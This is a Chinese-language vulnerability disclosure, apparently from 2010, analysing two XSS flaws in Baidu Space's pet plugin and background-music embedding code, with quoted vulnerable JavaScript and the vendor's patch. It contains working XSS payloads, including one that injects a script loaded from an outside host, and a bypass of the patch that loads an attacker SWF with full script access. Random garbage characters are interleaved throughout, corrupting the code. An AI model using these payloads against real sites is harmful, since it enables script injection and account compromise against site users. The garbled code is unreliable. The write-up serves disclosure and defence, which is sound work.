百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
. L1 m% d( J) Q6 C) @$ }
1 A% d, X: @9 ~5 u5 N6 g) p- N" j0 o1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 7 Z1 z9 B4 K% T4 \7 M0 b
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
; J) X* U! E' h# V& W3 w
- R2 ]) d) s+ v9 W! a将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
/ J, Q1 z7 `" l4 _: n: b+ \其中BdUtil.insertWBR为 9 U: m) _: u& A
function(text, step) {
2 m2 H! z$ j' X var textarea = textAreaCache || getContainer(); , b! \) ?5 ^. {. _+ O2 `
if (!textarea) { # c# Z. C5 X U3 S3 w
return text; 5 W. }$ o7 G2 R. i! t
} & J/ X1 Z; v5 g! e3 F( T
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 1 r. ]+ o2 E4 E7 R/ G! o- q
var string = textarea.value; * i/ `" q# z( H0 @9 a! `
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); " a: S( f' J7 ?8 ?: K/ N- u0 a, Y
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); * s! f3 r) N. ^# ]) v
return result; 6 ?- |6 I; Q- j; S2 e& k
}
* H T- d% B1 n/ c/ W$ Y; s在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 6 ]$ L4 G; A# u7 a0 I! r* s! k3 J* u
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 9 t. l& F4 |1 q9 u4 R# a
7 L% C' ?, d' z
二:creatbgmusic() Dom-Xss Bug
4 v9 U% x7 | | b% |百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 9 [: Q( K8 g" h# j# Y" I% O
" m% q. y# E: O ]% ]% G, u在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
9 |! X' i3 j J' }+ J
) e& F5 |2 Y" D+ ufunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 4 t! v: \: z0 _5 B4 F
//传入的murl赋值到bgmusic1和bgmusic2中 : C- d( F& ^+ q( U, e' \3 k& M7 `
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 6 W& l) P% S! P5 m$ x" H
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
- b7 R+ x; L) w6 @ if (musicnum <= 1) {
5 _, ?$ D0 u1 p9 d bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ) M. S# g* S! W' L4 a
}
* L3 ]4 t; ~ T, d6 ?# K bgmusic1 += "</OBJECT>";
3 V, \( A) X8 D8 W var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
, K. k, `# Z$ ^% D if (musicnum <= 1) { 9 r L7 R' T9 `2 _
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
7 M. C: K" I* F% h; h1 J } 3 z5 X8 V @: d3 o& N% A0 E
bgmusic2 += "> </EMBED>";
3 I# K9 u4 U/ }: V var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
6 k+ [# |! p! p var bgmus = detectWMP(); 2 H) p% ^6 I7 X$ ~8 ^ P
if (functype == "FckMusicHelper") {
7 p' h" w' ~% a. V% h, y+ F. O if (bgmus.installed) {
; S7 ]1 X% c7 Y, n, H if (bgmus.type == "IE") { / ^/ @2 I! a! ]- P/ d5 W1 b
return bgmusic1; - s2 z, H+ M0 ?4 \
} else if (bgmus.type == "NS") {
9 o. S% d/ X$ y$ r; ^ return bgmusic2;
6 P0 p- l6 z! [1 R9 C }
/ \) n9 d0 d8 |- c } else {
& u4 d6 q) v& \& x4 h6 z return bgmusic3; % ~: Y1 e% g& @# S% U
}
+ m% v: M1 B# P$ E } else {
3 K; y8 e% N! A$ u# [ if (bgmus.installed) { # Q4 X/ j7 J( Y9 P0 n9 O
//document.write 直接输出bgmusic变量 导致xss
1 ]8 d( |/ O" e0 V. F if (bgmus.type == "IE") { - d i6 D3 V" A, p9 a2 Y
document.write(bgmusic1);
3 R8 B/ E! e' O/ a( \, j. l. P } else if (bgmus.type == "NS") {
+ S* w: C; ~$ ~( V" h document.write(bgmusic2); / U l9 @( ^# T2 v
}
6 D7 K8 y4 l7 k8 S } else {
: F- V9 B' I, _6 |; x+ u/ c2 Y: } document.write(bgmusic3); ; U3 u* U- ]8 V8 Y: v% h
}
E T. C# c1 g+ s return "";
4 \; v! N" m0 f z9 M- n7 A2 `* A* h } . _% A0 [& c! ?; U0 Q
}
" K9 r: ^9 k y0 ^6 B' W
1 y3 b% m, y) c5 f4 r在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
1 Y1 h: b# L# W. _
4 O& r' [; ]& Wfunction initBlogTextForFCK(){ 5 _6 c* J9 y5 f. n5 x8 X
//fck init music
' m, T# y/ l' f- Yif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
4 n2 U. N% z6 @var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
3 I2 N; d" P3 o+ {+ X, [4 l! G5 H4 _var isAutoPlay=true; " |% u+ E( r3 \. _- G( \& N
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. * M: M/ P# {% t9 @7 B f! }
var img=imgBox; 3 E$ g2 W; Y1 C/ r$ u
if(img.getAttribute(’rel’)){ 7 m# j) Z A) D( x
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
( {2 ~2 [) F3 Q8 l var musicDiv = document.createElement("SPAN"); ' @, O7 ?( M- v
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] . w$ q& o1 N5 R) p) s3 Y4 C
- L( P. X5 n# G
..........................
T! j8 |; E9 ]3 u, \ o! L
& A0 r# `/ a6 k k. Y* ^ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. r$ d2 [3 r3 `8 m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); : H! q" I% e* \5 L8 t, n/ g
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 1 g: O; }/ q; _% z" w: w1 p/ {
musicDiv.innerHTML=shtml; 0 m K( D$ ~+ r: }2 b
i--;n--; 4 F: o& z" H5 Q& e
}
+ Z9 m( U! o8 K) Y! s% N} # `& I! r2 Z/ U9 {4 {
9 z, A0 c+ {5 b7 f8 U从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
# i. N" d$ T. r% I1 g
5 i4 [3 |8 u1 T# _; L7 ~测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> # N% |* S8 X" K$ O: o3 H% `
$ l9 ^$ y, v, b$ ^ ]) _
等待官方补丁
C- V. A R: u4 Y( w/ K2 g, F& n b1 y2 q
update 2010年5月13日
1 o5 {* r" T7 O' L' s/ c% k1 u0 T. G! A
官方补丁: + [) W% s1 p* W7 X: p' z: Q
$ q( |" V: n5 N3 E, S" h) B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
, P2 e' C. C: U7 U9 m; Q/ l改为: U; `6 q/ ~! |# N
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
1 w) q7 m. g1 X2 t0 W5 ?( s2 F5 k$ c. I* |
update 2010年5月13日 21:50:37
+ N |$ @7 K2 x: @
; B" f; `4 x) i8 c补丁存在漏洞 没有过滤" 可以继续跨:
' [: u4 ~, ~* W U i: X, f. F# G* u8 q9 B, E0 g# K& O
NEW POC: 0 G8 O6 F- K7 l1 i
Q0 A& V, y2 `2 J
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
4 n3 c& C( q B9 O" C W- Z; w8 ]" b7 Z. C$ q* U
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>8 p$ m0 z; w. \4 c) ?) a
1 \! v3 f% p0 T$ j
|